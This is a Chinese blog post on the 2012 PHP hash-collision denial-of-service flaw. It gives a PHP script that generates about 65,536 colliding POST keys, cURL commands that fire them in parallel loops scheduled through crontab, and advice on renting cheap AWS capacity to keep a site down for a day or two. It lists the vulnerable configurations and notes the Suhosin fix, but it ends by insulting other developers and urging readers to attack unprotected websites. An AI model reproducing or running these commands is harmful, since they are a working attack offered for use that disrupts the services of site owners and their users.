实践 PHP Hash 冲突问题
作者:郑凯
好友 Druggo Yang 又给我了个链接 http://thexploit.com/sec/critical-php-remote-vulnerability-introduced-in-fix-for-php-hashtable-collision-dos/,但是,很尴尬的,我看不明白。
但我觉得应该把这个问题搞清楚,所以做了一晚上试验。
先确认了,如果 POST 123=345
,在 $_POST
里,对 key 做 gettype
是 integer
,也就是说 之前的例子 依然有效。
POST 几万个key,我选择的方法是构造一个大文本文件,再用 cURL 发出去
这个大文本用 PHP 生成(或者你不用 PHP,我也很乐意提供一个 现成的)
<?php
$size = 65536;
$file = "/tmp/curlrc";
file_put_contents($file, "data-binary 0=1");
for ($i = 1; $i < $size; $i++) {
file_put_contents($file, "&".($i * $size)."=1", FILE_APPEND);
}
得到这个文件后 cURL 调用方式为
curl -K /tmp/curlrc 目标.com
如果是想跟某网站动真格的,可以用后台循环来,并放到 crontab 里每分钟循环一遍
for i in {1..200};do curl -K curlrc.txt 目标.com & done
对于目标网站的要求是,PHP 版本 < 5.3.9,没有安装 Suhosin 扩展。刚才又问了 Druggo 才搞明白,Suhosin 分 patch 和 extension 两部分,后者才提供了和这次问题相关的两个参数:
suhosin.post.max_vars
suhosin.request.max_vars
默认值在网站上写的是 200,实际是 1000。当然,问题就在于 Suhosin 在各大 Linux 发行版里都只默认装了 patch 那部分,如果只是用默认的话,这回就危险了。
还有一些其他的限制,例如,Nginx 默认接收 POST 上限是 1MB(我给的那个大小正合适)
每个 cURL 都只是让一个 PHP 进程达到超时效果,成本是接近 1MB 的 POST,所以要搞死一个稍大点的网站,需要让他的 fastcgi 全部跑光,或者 Apache 内存跑满,基本就是每分钟上百或几百次 POST,还是得费点力气的,虽然相比其他拒绝服务攻击,这算挺低廉的了。我建议如果你实在是想把某个网站搞摊个一天半天的,可以考虑一下 Amazon AWS 的 免费试用,就算付费,流量也才 $0.12/GB,一般般的网站10块钱够搞它一两天的。
我把自己的 max_vars 设成 100000,然后对自己机器来了一下看效果,结果 uptime 就到 10 了,由于第一次听到 Mac mini 风扇有这么响,着实心疼了一下,赶紧把 FPM 停掉了
补救办法也很简单,装 Suhosin extension,在 Ubuntu 下是
sudo apt-get install php5-suhosin
之后重启下 FPM 或者 Apache 就可以了,其他什么都不用改
另外,如果中招了,PHP error log 里会有大量的超时错误
[02-Feb-2012 23:57:10] PHP Fatal error: Maximum execution time of 60 seconds exceeded in Unknown on line 0
为什么我把这事说的这么详细?你知道吗,全国有那么多傻逼拿着着跟我差不太多的薪水,干着有辱行业的蠢事,毫不关心自己的工作。他们极大的降低了整个行业的水准,让大家都觉得写 PHP 的全是傻逼——就是这些人搞的。现在,我号召你们,无论出于私仇还是义愤,拿起手中的 bash(如果是 zsh 更好),以 Zend 的名义净化他们!让他们知道不装 Suhosin 就得死!